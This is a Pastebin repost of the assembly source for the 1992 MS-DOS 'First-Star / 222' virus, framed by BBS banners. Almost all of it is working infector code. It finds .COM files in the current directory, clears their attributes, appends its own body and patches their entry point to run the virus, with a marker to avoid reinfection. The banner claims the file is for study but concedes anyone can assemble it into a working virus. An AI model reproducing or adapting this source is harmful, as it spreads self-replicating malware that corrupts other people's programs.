Advertisement
FlyFar

Virus.MSDOS.First-Star - Source Code

Jul 9th, 2023
1,524
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 6.99 KB | Cybersecurity | 0 0
  1. ;****************************************************************************;
  2. ;                                                                            ;
  3. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  4. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  5. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  6. ;                     -=]                            [=-                     ;
  7. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  8. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  9. ;                     -=]                            [=-                     ;
  10. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  11. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  12. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  13. ;                                                                            ;
  14. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  15. ;                                                                            ;
  16. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  17. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  18. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  19. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  20. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  21. ; Is. Keep This Code in Responsible Hands!                                   ;
  22. ;                                                                            ;
  23. ;****************************************************************************;
  24. ;
  25. ;       First-Star / 222 Virus
  26. ;
  27. ;       (C) by Glenn Benton in 1992
  28. ;       This is a non-resident direct action .COM infector in current dirs.
  29. ;
  30. ;
  31. ;
  32.                 Org 0h
  33.  
  34. Start:          Jmp MainVir
  35.                 Db '*'
  36.  
  37. MainVir:        Call On1
  38. On1:            Pop BP
  39.                 Sub BP,Offset MainVir+3
  40.                 Push Ax
  41.                 Mov Ax,Cs:OrgPrg[BP]
  42.                 Mov Bx,Cs:OrgPrg[BP]+2
  43.                 Mov Cs:Start+100h,Ax
  44.                 Mov Cs:Start[2]+100h,Bx
  45.         Mov Ah,1ah
  46.         Mov Dx,0fd00h
  47.         Int 21h
  48.         Mov Ah,4eh
  49. Search:         Lea Dx,FileSpec[BP]
  50.         Xor Cx,Cx
  51.         Int 21h
  52.                 Jnc Found
  53.                 Jmp Ready
  54. Found:          Mov Ax,4300h
  55.                 Mov Dx,0fd1eh
  56.                 Int 21h
  57.                 Push Cx
  58.                 Mov Ax,4301h
  59.                 Xor Cx,Cx
  60.                 Int 21h
  61.                 Mov Ax,3d02h
  62.                 Int 21h
  63.                 Mov Bx,5700h
  64.                 Xchg Ax,Bx
  65.                 Int 21h
  66.                 Push Cx
  67.                 Push Dx
  68.                 Mov Ah,3fh
  69.                 Lea Dx,OrgPrg[BP]
  70.                 Mov Cx,4
  71.                 Int 21h
  72.                 Mov Ax,Cs:[OrgPrg][BP]
  73.                 Cmp Ax,'MZ'
  74.                 Je ExeFile
  75.                 Cmp Ax,'ZM'
  76.                 Je ExeFile
  77.                 Mov Ah,Cs:[OrgPrg+3][BP]
  78.                 Cmp Ah,'*'
  79.                 Jne Infect
  80. ExeFile:        Call Close
  81.                 Mov Ah,4fh
  82.                 Jmp Search
  83. FSeek:          Xor Cx,Cx
  84.                 Xor Dx,Dx
  85.                 Int 21h
  86.                 Ret
  87. Infect:         Mov Ax,4202h
  88.                 Call FSeek
  89.                 Sub Ax,3
  90.                 Mov Cs:CallPtr[BP]+1,Ax
  91.                 Mov Ah,40h
  92.                 Lea Dx,MainVir[BP]
  93.                 Mov Cx,VirLen
  94.                 Int 21h
  95.                 Mov Ax,4200h
  96.                 Call FSeek
  97.                 Mov Ah,40h
  98.                 Lea Dx,CallPtr[BP]
  99.                 Mov Cx,4
  100.                 Int 21h
  101.                 Call Close
  102. Ready:          Mov Ah,1ah
  103.                 Mov Dx,80h
  104.                 Int 21h
  105.                 Pop Ax
  106.                 Mov Bx,100h
  107.                 Push Cs
  108.                 Push Bx
  109.                 Retf
  110. Close:          Pop Si
  111.                 Pop Dx
  112.                 Pop Cx
  113.                 Mov Ax,5701h
  114.                 Int 21h
  115.                 Mov Ah,3eh
  116.                 Int 21h
  117.                 Mov Ax,4301h
  118.                 Pop Cx
  119.                 Mov Dx,0fd1eh
  120.                 Int 21h
  121.                 Push Si
  122.                 Ret
  123.  
  124. CallPtr         Db 0e9h,0,0
  125. FileSpec    Db '*.COM',0
  126.  
  127. OrgPrg:         Int 20h
  128.                 Nop
  129.                 Nop
  130.  
  131. VirLen          Equ $-MainVir
  132.  
  133. ;****************************************************************************;
  134. ;                                                                            ;
  135. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  136. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  137. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  138. ;                     -=]                            [=-                     ;
  139. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  140. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  141. ;                     -=]                            [=-                     ;
  142. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  143. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  144. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  145. ;                                                                            ;
  146. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  147. ;                                                                            ;
  148. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  149. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  150. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  151. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  152. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  153. ; Is. Keep This Code in Responsible Hands!                                   ;
  154. ;                                                                            ;
  155. ;****************************************************************************;
  156.  
  157. ;�������������������������������������������������������������������������;
  158. ;������������������> and Remember Don't Forget to Call <������������������;
  159. ;������������> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <����������;
  160. ;�������������������������������������������������������������������������;
  161.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement